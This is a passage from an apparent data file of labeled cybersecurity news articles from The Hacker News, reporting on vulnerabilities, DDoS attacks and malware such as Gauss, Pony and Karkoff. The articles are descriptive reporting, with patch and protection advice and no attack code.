SRLabs researchers recently uploaded a YouTube video, demonstrated how they were able to bypass the fingerprint authentication mechanism to gain unauthorized access just by using a lifted fingerprint with wood-glue based dummy finger.

The S5 fingerprint scanner allows multiple incorrect attempts without requiring a password, so an attacker could potentially keep trying multiple spoofed fingerprints until the correct match.
PAYPAL USERS AT RISK
Samsung Galaxy S5 users can also transfer money to other PayPal users just by swiping their finger on the sensor, but this hack now allows hackers to access your PayPal account and linked bank accounts without ever having to enter a password.

In addition, If you restart your Apple's iPhone 5S, it requires you to enter a passcode, before you can use your fingerprint as a way to unlock the phone, but Samsung has no such security method in place at this time.

No doubt, one need to have physical access of your device in order to exploit this flaw, so if your phone is stolen, a thief can access anything on your device.

Hack once again showed that unlocking a device with Fingerprint is convenient, but not secure that the passcode security.

",Vulnerability
Thousands of Wordpress blogs compromised to perform DDOS attack,https://thehackernews.com/2013/09/thousands-of-wordpress-blogs.html,"There is currently a Mega cyber attack campaign being launched on a large number of WordPress websites across the Internet.

In April, 2012 we reported about a large distributed brute force attack against millions of WordPress sites were occurring, out of that hackers are successful to compromise 90,000 servers to create a large Botnet of Wordpress hosts.

According to the DDOS attack logs report received from a 'The Hacker News' reader 'Steven Veldkamp', victim's website was under under heavy DDOS attack recently, coming from various compromised Wordpress based websites.

Possibly using the brute force attack on WordPress administrative portals with the a world list of the most commonly used username and password combinations, attackers are taking control of many poorly secured WordPress Hosts.
After analyzing the piece of a DDOS attack Log file from timing 23/Sep/2013:13:03:13 +0200 to 23/Sep/2013:13:02:47 +0200, we found that in 26 second attacker was able to perform DDOS attack from 569 unique compromised Wordpress blogs. Hacked websites include blogs of Mercury Science and Policy at MIT, National Endowment for the Arts (arts.gov), The Pennsylvania State University and Stevens Institute of Technology.

So an attacker using a large number of high performance hosting in order to build a much larger botnet of for a DDOS attack. This attack is happening at a global level and WordPress instances across hosting providers are being targeted. Since the attack is highly distributed in nature (most of the IP's used are spoofed), it is very difficult to block all malicious data.

According to the statistics recently published by WP WhiteSecurity, more than 70% of WordPress installations are vulnerable to hackers out of the World's Top 1 Million websites having a Wordpress installed.
From the table above you can determine that at least 30,823 WordPress websites out of 42,106 are vulnerable to exploitable vulnerabilities, which can be detected using free automated vulnerability assessment tools.

Also in August, 2012 Researchers at Arbor Networks have uncovered a botnet called Fort Disco that was used to compromise more than 6000 websites based on popular CMSs such as WordPress, Joomla and Datalife Engine.

If you are running WordPress sites, now would be a good time to ensure that strong passwords are always used and that your username should be changed from ""admin"".

Avoid Obvious Passwords, Scan your computer for viruses, keyloggers, rootkits, and botnet software. Most importantly, Update WordPress and all plugins to the latest versions.

",Cyber_Attack
Apple Mac OS X Vulnerability Allows Attackers to Hack your Computer,https://thehackernews.com/2015/07/apple-mac-os-x-vulnerability.html,"A security researcher has discovered a critical vulnerability in the latest version of Apple's OS X Yosemite that could allow anyone to obtain unrestricted root user privileges with the help of code that fits in a tweet.

The privilege-escalation vulnerability initially reported on Tuesday by German researcher Stefan Esser, could be exploited by to circumvent security protections and gain full control of Mac computers.

The most worrying part is that this critical vulnerability is yet to be fixed by Apple in the latest release of its operating system.

This could make it easier for hackers to surreptitiously infect Macs with rootkits and other types of persistent malware. Thanks to an environment variable DYLD_PRINT_TO_FILE Apple added to the code of OS X 10.10 Yosemite.

Apple Mac OS X Vulnerability Gives Full Control of your Mac

This environment variable specifies where in the file system an operating system component called the OS X dynamic linker dyld can log error messages.

However, the developers were failed to use standard safeguards that are needed when adding support for new environment variables to the OS X dynamic linker dyld, allowing hackers to modify or create arbitrary files with root privileges.
""This is dangerous,"" Esser explained in a blog post, ""because it allows to open or create arbitrary files owned by the root user anywhere in the file system. Furthermore, the opened log file is never closed and, therefore, its file descriptor is leaked into processes spawned by SUID binaries. This means child processes of SUID root processes can write to arbitrary files owned by the root user anywhere in the filesystem.""

As a result, if exploited, this allows an attacker to easily gain privilege escalation in Yosemite to hijack your Mac computer and take control of your system.



Exploit Code Fits in a Tweet:

Below is the creepy root-level privilege-escalation exploit code that even fit in a tweet, devised yesterday by Redditor Numinit:
The vulnerability affects both the latest stable release of the Mac operating system, OS X 10.10.4 Yosemite and the current beta version OS X 10.10.5, meaning many people are affected by this vulnerability.

However, the current El Capitan beta version OS X 10.11 is not affected by the flaw, which indicates that the company may already be aware of the weakness.

How to Fix the Flaw?

Esser has developed a fix for this critical vulnerability, which you can download and install to protect your Mac until Apple release an official patch to address the issue.

""Apple ships fixes for security in beta versions of future products, but does not fix current versions,"" Esser says.

Download Esser's SUIDGuard from GitHub now to fix the bug.

",Vulnerability
Critical Flaws Found in Windows NTLM Security Protocol – Patch Now,https://thehackernews.com/2017/07/windows-ntlm-security-flaw.html,"As part of this month's Patch Tuesday, Microsoft has released security patches for a serious privilege escalation vulnerability which affect all versions of its Windows operating system for enterprises released since 2007.

Researchers at behavioral firewall specialist Preempt discovered two zero-day vulnerabilities in Windows NTLM security protocols, both of which allow attackers to create a new domain administrator account and get control of the entire domain.

NT LAN Manager (NTLM) is an old authentication protocol used on networks that include systems running the Windows operating system and stand-alone systems.

Although NTLM was replaced by Kerberos in Windows 2000 that adds greater security to systems on a network, NTLM is still supported by Microsoft and continues to be used widely.

The first vulnerability involves unprotected Lightweight Directory Access Protocol (LDAP) from NTLM relay, and the second impact Remote Desktop Protocol (RDP) Restricted-Admin mode.

LDAP fails to adequately protect against NTLM relay attacks, even when it has built-in LDAP signing the defensive measure, which only protects from man-in-the-middle (MitM) attacks and not from credential forwarding at all.

The vulnerability could allow an attacker with SYSTEM privileges on a target system to use incoming NTLM sessions and perform the LDAP operations, like updating domain objects, on behalf of the NTLM user.
""To realize how severe this issue is, we need to realize all Windows protocols use the Windows Authentication API (SSPI) which allows downgrade of an authentication session to NTLM,"" Yaron Zinar from Preempt said in a blog post, detailing the vulnerability.
""As a result, every connection to an infected machine (SMB, WMI, SQL, HTTP) with a domain admin would result in the attacker creating a domain admin account and getting full control over the attacked network.""

Video Demonstration of Relay Attack

Preempt researchers also provided a video to demonstrate credential relay attacks.


The second NTLM vulnerability affects Remote Desktop Protocol Restricted-Admin mode – this RDP Restricted-Admin mode allows users to connect to a remote computer without giving their password.

According to Preempt researchers, RDP Restricted-Admin allows authentication systems to downgrade to NTLM. This means the attacks performed with NTLM, such as credential relaying and password cracking, could also be carried out against RDP Restricted-Admin.

When combined with the LDAP relay vulnerability, an attacker could create a fake domain admin account whenever an admin connects with RDP Restricted-Admin and get control of the entire domain.

The researchers discovered and privately reported LDAP and RDP Relay vulnerabilities in NTLM to Microsoft in April.

However, Microsoft acknowledged the NTLM LDAP vulnerability in May, assigning it CVE-2017-8563, but dismissed the RDP bug, claiming it is a ""known issue"" and recommending configuring a network to be safe from any NTLM relay.
""In a remote attack scenario, an attacker could exploit this vulnerability by running a specially crafted application to send malicious traffic to a domain controller. An attacker who successfully exploited this vulnerability could run processes in an elevated context,"" Microsoft explained in its advisory.
""The update addresses this vulnerability by incorporating enhancements to authentication protocols designed to mitigate authentication attacks. It revolves around the concept of channel binding information.""
So, sysadmins are recommended to patch their vulnerable servers with NT LAN Manager enabled as soon as possible.

You can either consider turning NT LAN Manager off or require that incoming LDAP and SMB packets are digitally signed in order to prevent credential relay attacks.

Besides this NTLM relay flaw, Microsoft has released patches for 55 security vulnerabilities, which includes 19 critical, in several of its products, including Edge, Internet Explorer, Windows, Office and Office Services and Web Apps, .NET Framework, and Exchange Server.

Windows users are strongly advised to install the latest updates as soon as possible in order to protect themselves against the active attacks in the wild.

",Vulnerability
BadAlloc Flaw Affects BlackBerry QNX Used in Millions of Cars and Medical Devices,https://thehackernews.com/2021/08/badalloc-flaw-affects-blackberry-qnx.html,"A major vulnerability affecting older versions of BlackBerry's QNX Real-Time Operating System (RTOS) could allow malicious actors to cripple and gain control of a variety of products, including cars, medical, and industrial equipment.
The shortcoming (CVE-2021-22156, CVSS score: 9.0) is part of a broader collection of flaws, collectively dubbed BadAlloc, that was originally disclosed by Microsoft in April 2021, which could open a backdoor into many of these devices, allowing attackers to commandeer them or disrupt their operations.
""A remote attacker could exploit CVE-2021-22156 to cause a denial-of-service condition or execute arbitrary code on affected devices,"" the U.S. Cybersecurity and Infrastructure Security Agency (CISA) said in a Tuesday bulletin. As of writing, there is no evidence of active exploitation of the vulnerability.
BlackBerry QNX technology is used worldwide by over 195 million vehicles and embedded systems across a wide range of industries, including aerospace and defense, automotive, commercial vehicles, heavy machinery, industrial controls, medical, rail, and robotics.
BlackBerry, in an independent advisory, characterized the issue as ""an integer overflow vulnerability in the calloc() function of the C runtime library"" affecting its QNX Software Development Platform (SDP) version 6.5.0SP1 and earlier, QNX OS for Medical 1.1 and earlier, and QNX OS for Safety 1.0.1. Manufacturers of IoT and OT devices that incorporate affected QNX-based systems are advised to apply the following patches -
QNX SDP 6.5.0 SP1 - Apply patch ID 4844 or update to QNX SDP 6.6.0 or later
QNX OS for Safety 1.0 or 1.0.1 - Update to QNX OS for Safety 1.0.2, and
QNX OS for Medical 1.0 or 1.1 - Apply patch ID 4846 to update to QNX OS for Medical 1.1.1
""Ensure that only ports and protocols used by the application using the RTOS are accessible, blocking all others,"" BlackBerry suggested as mitigations. ""Follow network segmentation, vulnerability scanning, and intrusion detection best practices appropriate for use of the QNX product in your cybersecurity environment to prevent malicious or unauthorized access to vulnerable devices.""
In a separate report, Politico revealed that BlackBerry resisted efforts to publicly announce the BadAlloc vulnerability in late April, citing people familiar with the matter, instead opting to privately contact its customers and warn them about the issue — an approach that could have put several device manufacturers at risk — only to backtrack after the company couldn't identify all of the vendors using its software.
""BlackBerry representatives told CISA earlier this year that they didn't believe BadAlloc had impacted their products, even though CISA had concluded that it did,"" the report said, adding ""over the last few months, CISA pushed BlackBerry to accept the bad news, eventually getting them to acknowledge the vulnerability existed.""

",Vulnerability
Kaspersky Labs uncover 'Gauss' Espionage Malware hits Middle East banks,https://thehackernews.com/2012/08/kaspersky-labs-uncover-gauss-espionage.html,"A new cyber surveillance virus has been found in the Middle East that can spy on banking transactions and steal login and passwords, according Kaspersky Lab, a leading computer security firm.

After Stuxnet, Duqu, and Flame, this one seems to mainly spy on computer users in Lebanon. It's been dubbed Gauss (although Germanic-linguistic purists will no doubt be complaining that it should be written Gauß).

Gauss is a complex cyber-espionage toolkit, highly modular and supports new functions which can be deployed remotely by the operators in the form of plugins. The currently known plugins perform the following functions:
Intercept browser cookies and passwords.
Harvest and send system configuration data to attackers.
Infect USB sticks with a data stealing module.
List the content of the system drives and folders
Steal credentials for various banking systems in the Middle East.
Hijack account information for social network, email and IM accounts.
The researchers at Russia-based Kasperky Labs who discovered it have christened it Gauss, and say it is aimed at pinching the pocketbooks of its intended targets, whoever they may be, by stealing account information of customers of certain banks in Lebanon, but also customers of Citibank and of PayPal.

An analysis of the new malicious software shows it was designed to steal data from Lebanese lenders including the Bank of Beirut (BOB), BomBank and Byblos Bank, Kaspersky said. Gauss has infected 2,500 machines, while Flame hit about 700.

Two groups Russian-based Kaspersky Labs, which first published information on Gauss and Flame, and the Hungarian research lab Crysys are detecting the malware by looking for a font that shows up on infected machines called Palida Narrow.Roel Schouwenberg, senior researcher at Kaspersky Labs, said that researchers still don't know why Gauss's creators included the font file.

Have a look on relationship between Flame, Gauss, Stuxnet and Duqu:

One of the firm's top researchers said Gauss also contains a module known as ""Godel"" that may include a Stuxnet-like weapon for attacking industrial control systems. Kaspersky researchers said Gauss contained a ""warhead"" that seeks a very specific computer system with no Internet connection and installs itself only if it finds one.

*Image credit Kaspersky Lab

",Vulnerability
Masque Attack — New iOS Vulnerability Allows Hackers to Replace Apps with Malware,https://thehackernews.com/2014/11/masque-attack-new-ios-vulnerability_10.html,"Android have been a long time target for cyber criminals, but now it seems that they have turned their way towards iOS devices. Apple always says that hacking their devices is too difficult for cyber crooks, but a single app has made it possible for anyone to hack an iPhone.

A security flaw in Apple's mobile iOS operating system has made most iPhones and iPads vulnerable to cyber attacks by hackers seeking access to sensitive data and control of their devices, security researchers warned.

The details about this new vulnerability was published by the Cyber security firm FireEye on its blog on Monday, saying the flaw allows hackers to access devices by fooling users to download and install malicious iOS applications on their iPhone or iPad via tainted text messages, emails and Web links.

MASQUE ATTACK - REPLACING TRUSTED APPS
The malicious iOS apps can then be used to replace the legitimate apps, such as banking or social networking apps, that were installed through Apple's official App Store through a technique that FireEye has dubbed ""Masque Attack.""
""This vulnerability exists because iOS doesn't enforce matching certificates for apps with the same bundle identifier,"" the researchers said on the company's blog. ""An attacker can leverage this vulnerability both through wireless networks and USB.""
Masque attacks can be used by cyber criminals to steal banking and email login credentials or users' other sensitive information.

Security researchers found that the Masque attack works on Apple's mobile operating system including iOS 7.1.1, 7.1.2, 8.0, 8.1, and the 8.1.1 beta version and that all of the iPhones and iPads running iOS 7 or later, regardless of whether or not the device is jailbroken are at risk.

According to FireEye, the vast majority, i.e. 95 percent, of all iOS devices currently in use are potentially vulnerable to the attack.

MASQUE ATTACK IS MORE DANGEROUS THAN WIRELURKER
The Masque Attack technique is the same used by ""WireLurker,"" malware attack discovered last week by security firm Palo Alto Networks targeting Apple users in China, that allowed unapproved apps designed to steal information downloaded from the Internet. But this recently-discovered malware threat is reportedly a ""much bigger threat"" than Wirelurker.
""Masque Attacks can pose much bigger threats than WireLurker,"" the researchers said. ""Masque Attacks can replace authentic apps,such as banking and email apps, using attacker's malware through the Internet. That means the attacker can steal user's banking credentials by replacing an authentic banking app with an malware that has identical UI.""

""Surprisingly, the malware can even access the original app's local data, which wasn't removed when the original app was replaced. These data may contain cached emails, or even login-tokens which the malware can use to log into the user's account directly.""
HOW TO PROTECT YOURSELF FROM MASQUE ATTACK
Apple devices running iOS are long considered more safe from hackers than devices running OS like Microsoft's Windows and Google's Android, but iOS have now become more common targets for cybercriminals.

In order to avoid falling victim to Masque Attack, users can follow some simple steps given below:
Do not download any apps offer to you via email, text messages, or web links.
Don't install apps offered on pop-ups from third-party websites.
If iOS alerts a user about an ""Untrusted App Developer,"" click ""Don't Trust"" on the alert and immediately uninstall the application.
In short, a simple way to safeguard your devices from these kind of threats is to avoid downloading apps from untrusted sources, and only download apps directly from the App Store.

",Malware
Alert: Hackers Exploit Adobe Reader 0-Day Vulnerability in the Wild,https://thehackernews.com/2021/05/alert-hackers-exploit-adobe-reader-0.html,"Adobe has released Patch Tuesday updates for the month of May with fixes for multiple vulnerabilities spanning 12 different products, including a zero-day flaw affecting Adobe Reader that's actively exploited in the wild.
The list of updated applications includes Adobe Experience Manager, Adobe InDesign, Adobe Illustrator, Adobe InCopy, Adobe Genuine Service, Adobe Acrobat and Reader, Magento, Adobe Creative Cloud Desktop Application, Adobe Media Encoder, Adobe After Effects, Adobe Medium, and Adobe Animate.
In a security bulletin, the company acknowledged it received reports that the flaw ""has been exploited in the wild in limited attacks targeting Adobe Reader users on Windows."" Tracked as CVE-2021-28550, the zero-day concerns an arbitrary code execution flaw that could allow adversaries to execute virtually any command on target systems.
While the targeted attacks took aim at Windows users of Adobe Reader, the issue affects both Windows and macOS versions of Acrobat DC, Acrobat Reader DC, Acrobat 2020, Acrobat Reader 2020, Acrobat 2017, and Acrobat Reader 2017. An anonymous researcher has been credited with reporting the vulnerability.
10 critical and four important vulnerabilities were addressed in Adobe Acrobat and Reader, followed by remediation for five critical flaws (CVE-2021-21101-CVE-2021-21105) in Adobe Illustrator that could lead to arbitrary code execution in the context of the current user. Adobe credited Kushal Arvind Shah of Fortinet's FortiGuard Labs with reporting three of the five vulnerabilities.
In all, a total of 43 security weaknesses have been resolved in Tuesday's update. Users are advised to update their software installations to the latest versions to mitigate the risk associated with the flaws.

",Malware
Lenovo Caught (3rd Time) Pre-Installing Spyware on its Laptops,https://thehackernews.com/2015/09/lenovo-laptop-virus.html,"Lenovo has once again been caught installing spyware on its laptops and workstations without the user's permission or knowledge.

One of the most popular computer manufacturers is being criticized for selling some refurbished laptop models pre-installed with invasive marketing software that sends users data directly to the company.

This is not first time Lenovo has allegedly installed spyware onto consumers PCs.
Earlier this year, Lenovo was caught red-handed for selling laptops pre-installed with Superfish malware that opened up doors for hackers.
In August, Lenovo again got caught installing unwanted and non-removable crapware into part of the BIOS reserved for custom drivers.

Lenovo Laptops comes Pre-installed with 'Spyware'

Now, the Chinese computer manufacturer is making news once again for embedding tracking software into its laptops and workstations from Lenovo ThinkPad, ThinkCentre, and ThinkStation series.

Michael Horowitz from Computerworld has discovered a software program, called ""Lenovo Customer Feedback Program 64,"" that operates daily on these systems and can be categorized as Spyware.

The purpose of this program is to send customers' feedback data to Lenovo servers. According to Horowitz, the company has mentioned this in its EULA, but he ""can not recall ever being asked [for] a Customer Feedback program"" while ever setting up his Lenovo PC.

Horowitz also found that this program includes some other files, which is as follows:
Lenovo.TVT.CustomerFeedback.Agent.exe.config
Lenovo.TVT.CustomerFeedback.InnovApps.dll
Lenovo.TVT.CustomerFeedback.OmnitureSiteCatalyst.dll
One of these files belongs to Omniture, which is an online marketing and Web analytics company, which is included to track and monitor users' activities and send that data to this online marketing agency.

Lenovo does mention on its website that there may be software program installed on its systems that connect to its online servers, but it does not mention anything about sending your data for financial profit.

How to Remove Lenovo Spyware?

In order to remove 'Lenovo Customer Feedback Program 64' from your affected machines, you have to do it manually. Follow these simple steps:
Know your System Type (whether it's a 32-bit or 64-bit version of Windows)
Download TaskSchedulerView
Now, search your Lenovo PCs for Lenovo Customer Feedback Program 64
Disable Lenovo Customer Feedback Program 64 daily task from running
Additionally, you can also rename the ""C:\Program Files (x86)\Lenovo""

",Malware
"Three LulzSec hackers pleads guilty To NHS, Sony Attacks",https://thehackernews.com/2013/04/three-lulzsec-hackers-pleads-guilty-to.html,"Three members of the high profile internet hacktivist group LulzSec have admitted to their parts in a series of cyber attacks against the NHS, Sony and News International.

Ryan Ackroyd, Jake Davis and Mustafa Al-Bassam, pleaded guilty to one charge of carrying out an unauthorized act to impair the operation of a computer, contrary to the Criminal Law Act 1977.

In July 2011 the Sun's website was hacked and users were briefly re-directed to a spoof page that falsely claiming that Rupert Murdoch had died. Davis, from Shetland, and Bassam, a student from Peckham, south London, admitted conspiring to bring down the websites of law enforcement authorities in Britain and the US, including the CIA and the Serious Organized Crime Agency (SOCA).

The group, an offshoot of the Anonymous hacktivists, but Both LulzSec and Anonymous wreaked havoc throughout 2011 and 2012, knocking thousands of websites offline and pilfering data from well-known companies.

The men are said to have carried out distributed denial of service (DDoS) attacks on the institutions with other unidentified hackers belonging to online groups such as LulzSec, Anonymous and Internet Feds.

American prosecutors are pursuing charges against a number of people allegedly connected to the hacking groups, including the Reuters journalist Matthew Keys.

",Cyber_Attack
Window 8 will get its first critical patch this Friday,https://thehackernews.com/2012/11/window-8-will-get-its-first-critical.html,"The Windows 8 and Windows RT security updates will be the first shipped since those operating systems' launch on Oct. 26. The latest vulnerabilities include three critical security vulnerabilities for Windows 8, and one critical security vulnerability for the Surface-based Windows RT operating system. These flaws are considered ""critical"" and could allow remote code execution on vulnerable systems.

Among the various flaws, versions from Windows XP (Service Pack 3) all the way through to Windows 8 are affected, including versions of the Office suite, and versions of Windows Server. Released only in September, Windows Server 2012 requires patching to maintain maximum security.
If you've enabled automatic updates, the patches will automatically install on Tuesday. As usual, the specific details about what is being fixed in these updates won't be revealed until the patches themselves are available for download in order to not give hacker groups an advanced heads-up.

Among the flaws, a few patches will be delivered for Internet Explorer that will fix a flaw that allows drive-by attacks on vulnerable systems, such as if the user visits a malicious Web page through the browser. There has been a lot of speculation about the cause of the Windows RT bug, with some saying that is the result of faulty hardware that may require the complete replacement of the Touch cover, while others believe that it's really a software issue that may be resolved via a software update from Microsoft.
While the new operating system has been designed to be significantly more secure than its predecessors, it still contains legacy code from earlier operating systems, which may contribute to the problem. After the release of Windows 8 , researchers at VUPEN had found the first zero-day vulnerability and written an exploit for the new OS as well as Internet Explorer 10.

",Vulnerability
602 Gbps! This May Have Been the Largest DDoS Attack in History,https://thehackernews.com/2016/01/biggest-ddos-attack.html,"Cyber attacks are getting evil and worst nightmare for companies day-by-day, and the Distributed Denial of Service (DDoS) attack is one of the favorite weapon for hackers to temporarily suspend services of a host connected to the Internet.

Until now, nearly every big website had been a victim of this attack, and the most recent one was conducted against the BBC's websites and Republican presidential candidate Donald Trump's main campaign website over this past holiday weekend.

Out of two, the largest DDoS attack in the history was carried out against the BBC website: Over 600 Gbps.

Largest DDoS Attack in the History

The group calling itself New World Hacking claimed responsibility for taking down both the BBC's global website and Donald Trump's website last week.

The group targeted all BBC sites, including its iPlayer on-demand service, and took them down for at least three hours on New Year's Eve.

At the moment, the BBC news organization announced that the outage was caused due to some ""technical"" fault, but later it stated that ""New World Hacking"" group had claimed responsibility for launching a DDoS attack against BBC, as a ""test of its capabilities.""

BangStresser DDoS Attack Tool

One of the members of the New World Hacking group, identified himself as Ownz, claimed that the group allegedly used their own tool called BangStresser to launch a DDoS attack of up to 602 Gbps on the BBC's website.

As a proof, the group provided ZDNet a screenshot of a web interface that was allegedly used to attack the BBC website.

Although the authenticity of the screenshot has not been verified, if the attack size is proven true, it would vastly surpass the largest DDoS attack record of 334 Gbps, recorded by Arbor Networks last year.

The recent massive DDoS attack apparently utilizes two Amazon Web Services servers that employ a large number of automated detection and mitigation techniques in order to prevent the misuse of the services, Amazon previously claimed.
""We have our ways of bypassing Amazon,"" said Ownz. ""The best way to describe it is we tap into a few administrative services that Amazon is use to using. The [sic] simply set our bandwidth limit as unlimited and program our own scripts to hide it.""
More details about the attack have yet not disclosed, but Ownz claimed that their main purpose behind the development of the BangStresser DDoS tool is to unmask ISIS and possibly end its online propaganda.

""We have been taking down ISIS websites in the past,"" said Ownz, ""this is just the start of a new year.""

A similar group named Lizard Squad, conducted a marketing campaign for promoting their DDoS tool, known as the Lizard Stresser, using which the group took down Sony's PlayStation Network and Microsoft's Xbox Live last year on Christmas Eve.

",Cyber_Attack
'Karkoff' Is the New 'DNSpionage' With Selective Targeting Strategy,https://thehackernews.com/2019/04/karkoff-dnspionage-malware.html,"The cybercriminal group behind the infamous DNSpionage malware campaign has been found running a new sophisticated operation that infects selected victims with a new variant of the DNSpionage malware.

First uncovered in November last year, the DNSpionage attacks used compromised sites and crafted malicious documents to infect victims' computers with DNSpionage—a custom remote administrative tool that uses HTTP and DNS communication to communicate with the attacker-controlled command and control server.

According to a new report published by Cisco's Talos threat research team, the group has adopted some new tactics, techniques and procedures to improve the efficacy of their operations, making their cyber attacks more targeted, organised and sophisticated in nature.

Unlike previous campaigns, attackers have now started performing reconnaissance on its victims before infecting them with a new piece of malware, dubbed Karkoff, allowing them to selectively choose which targets to infect in order to remain undetected.

""We identified infrastructure overlaps in the DNSpionage and the Karkoff cases,"" the researchers say.

During Reconnaissance phase, attackers gather system information related to the workstation environment, operating system, domain, and list of running processes on the victims' machine.

""The malware searches for two specific anti-virus platforms: Avira and Avast. If one of these security products is installed on the system and identified during the reconnaissance phase, a specific flag will be set, and some options from the configuration file will be ignored,"" the researchers say.

Developed in .NET, Karkoff allows attackers to execute arbitrary code on compromised hosts remotely from their C&C server. Cisco Talos identified Karkoff as undocumented malware earlier this month.

What's interesting is that the Karkoff malware generates a log file on the victims' systems which contains a list of all commands it has executed with a timestamp.

""This log file can be easily used to create a timeline of the command execution which can be extremely useful when responding to this type of threat,"" the researchers explain.

""With this in mind, an organisation compromised with this malware would have the opportunity to review the log file and identify the commands carried out against them.""

Like the last DNSpionage campaign, the recently discovered attacks also target the Middle Eastern region, including Lebanon and the United Arab Emirates (UAE).

Besides disabling macros and using reliable antivirus software, you should most importantly stay vigilant and keep yourself informed about social engineering techniques in order to reduce the risk of becoming a victim of such attacks.

Due to several public reports of DNS hijacking attacks, the U.S. Department of Homeland Security (DHS) earlier this year issued an ""emergency directive"" to all federal agencies ordering IT staff to audit DNS records for their respective website domains, or other agency-managed domains.

",Malware
DUHK Attack Lets Hackers Recover Encryption Key Used in VPNs & Web Sessions,https://thehackernews.com/2017/10/crack-prng-encryption-keys.html,"DUHK — Don't Use Hard-coded Keys — is a new 'non-trivial' cryptographic implementation vulnerability that could allow attackers to recover encryption keys that secure VPN connections and web browsing sessions.

DUHK is the third crypto-related vulnerability reported this month after KRACK Wi-Fi attack and ROCA factorization attack.

The vulnerability affects products from dozens of vendors, including Fortinet, Cisco, TechGuard, whose devices rely on ANSI X9.31 RNG — an outdated pseudorandom number generation algorithm — 'in conjunction with a hard-coded seed key.'

Before getting removed from the list of FIPS-approved pseudorandom number generation algorithms in January 2016, ANSI X9.31 RNG was included into various cryptographic standards over the last three decades.

Pseudorandom number generators (PRNGs) don't generate random numbers at all. Instead, it is a deterministic algorithm that produces a sequence of bits based on initial secret values called a seed and the current state. It always generates the same sequence of bits for when used with same initial values.

Some vendors store this 'secret' seed value hard-coded into the source code of their products, leaving it vulnerable to firmware reverse-engineering.

Discovered by cryptography researchers — Shaanan Cohney, Nadia Heninger, and Matthew Green — DUHK, a 'state recovery attack,' allows man-in-the-middle attackers, who already know the seed value, to recover the current state value after observing some outputs.

Using both values in hand, attackers can then use them to re-calculate the encryption keys, allowing them to recover encrypted data that could 'include sensitive business data, login credentials, credit card data and other confidential content.'

""In order to demonstrate the practicality of this attack, we develop a full passive decryption attack against FortiGate VPN gateway products using FortiOS version 4."" researchers said.
""Our scans found at least 23,000 devices with a publicly visible IPv4 address running a vulnerable version of FortiOS.""
Here below you can check a partial list (tested by researchers) of affected devices from various vendors:

The security researchers have released a brief blog post and technical researcher paper on a dedicated website for DUHK attack.

",Cyber_Attack
Rogue Android Gaming app that steals WhatsApp conversations,https://thehackernews.com/2013/12/hacking-whatsapp-chat-apps-malware_7.html,"Google has recently removed a Rogue Android gaming app called ""Balloon Pop 2"" from its official Play store that was actually stealing user's private Whatsapp app conversations.

Every day numerous friends ask me if it is possible to steal WhatsApp chat messages and how, of course a malware represents an excellent solution to the request.

In the past I already posted an article on the implementation of encryption mechanisms for WhatsApp application explaining that improper design could allow attackers to snoop on the conversation.
Spreading the malware through an official channel the attacker could improve the efficiency of the attack, and it is exactly what is happening, an Android game has been published on the official Google Play store to stealthy steal users' WhatsApp conversation databases and to resell the collection of messages on an internet website.

The games titled ""Balloon Pop 2"" has been fortunately identified and removed from the official Google Play store, it was able to spy on conversations made via WhatsApp and upload them to the WhatsAppCopy website.

On the WhatsAppCopy website is advertised the Android game BalloonPop2 as a way of ""backing up"" a device's WhatsApp conversation, it's very curious, what do think about?

The website managers sustain that their app is a legitimate game that could be used to back up WhatsApp messages, they aren't responsible for its abuse for spying purposes.

The attacker paying a fee could view the stolen WhatsApp conversations from the WhatsAppCopy website, it is necessary to provide the phone number of the targeted Android device to read the private messages exchanged by the victims.

The message posted on the website states:
""Execute our game on a mobile, whatsapp conversations are sent to this website, an hour later looking for the phone, and you can read the conversations .""
Despite the application has been immediately removed from the Google Play store there is the concrete risk that ill-intentioned will continue to distribute it through unofficial stores.

The rapid diffusion of mobile platforms and lack of defense mechanisms on almost every device make them a privileged target, the number of malicious code designed for Android and iOS is literally exploded in the next years.

Cyber criminals have also exploited official channel to spread malicious code, it is happening to the mobile version of the popular Carberp banking trojan.

The fact that an app has been published on official store it isn't sufficient to consider it reliable and secure, same consideration is valid for other mobile platforms.

Take care of your privacy, be smart!

",Malware
"Pony Botnet steals $220,000 from multiple Digital Wallets",https://thehackernews.com/2014/02/pony-botnet-steals-220000-from-multiple.html,"Are you the one of the Digital Currency Holder? PONY is after You.

A Group of cyber criminals has used hundreds of thousands of infected computers of the digital currency holders to filch approximately $220,000 worth of Bitcoins and other virtual currencies.

The researchers at the security firm, Trustwave have uncovered the Bitcoin Heist that was accomplished by the computers infected with a new class of malware that has been dubbed as 'Pony', a very powerful type of Spying Keylogger Malware with very dangerous features that was last time found two months ago.

Pony, for those who have not yet heard about it, is a bot controller much like any other, with the capability to capture all kinds of confidential information and access passwords. It contains a control panel, user management, logging features, a database to manage all the data and, of course, the statistics. It can see the passwords and login credentials of infected users when they access applications and Internet sites.

The security firm has found that the botnet has infected over 700,000 accounts in four months of the period, between September 2013 and mid-January 2014, and allowed criminals to control those accounts.

""Not only did this Pony botnet steal credentials for approximately 700,000 accounts, it's also more advanced and collected approximately $220,000 worth, at the time of writing, of virtual currencies such as BitCoin (BTC), LiteCoin (LTC), FeatherCoin (FTC) and 27 others,"" reads the report.

In December, the same piece of malware infected a number of popular websites and services such as Facebook, Google, Yahoo, Twitter, LinkedIn, etc., by stealing a couple of million passwords, that provide them access to all those accounts.

Latest Pony attack
This Time the Pony botnet stole over 700,000 credentials, including 600,000 website login credentials, 100,000 email account credentials, 16,000 FTP account credentials and other Secure Shell account information.

""This instance of Pony compromised 85 wallets, a fairly low number compared to the number of compromised credentials. Despite the small number of wallets compromised, this is one of the larger caches of BitCoin wallets stolen from end-users.""

The Malware was in the wild when the virtual currency, such as Bitcoin value touched the sky, which was developed by cryptographic experts as a way to move money at a lower cost than traditional financial systems.

""Bitcoins are stored in virtual wallets, which are essentially pairs of private and public keys,"" the Trustwave researchers said, adding that ""whoever has those keys can take the currency, and stealing Bitcoins and exchanging them for another currency, even a regulated one such as US dollars, is much easier than stealing money from a bank.""

They said that cyber thieves with Bitcoins can use any number of trading websites, to get real cash while maintaining anonymity.

NOT just BITCOINS
Here, if you think that the botnet went after only the Bitcoin, then you are wrong. Currently, the Bitcoin value is swinging between $300 and $500. So, instead of sticking to only Bitcoin wallets, the Pony botnet looks for a list of virtual currencies including Anoncoin, BBQcoin, Bytecoin, Craftcoin, Devcoin, Digitalcoin, Fastcoin, Feathercoin, Florincoin, Franko, Freicoin, GoldCoin, I0coin, Infinitecoin, Ixcoin, Junkcoin, Litecoin, Luckycoin, Mincoin, Namecoin, NovaCoin, Phoenixcoin, PPCoin, Primecoin, Quarkcoin, Tagcoin, Terracoin, Worldcoin, Yacoin and Zetacoin.

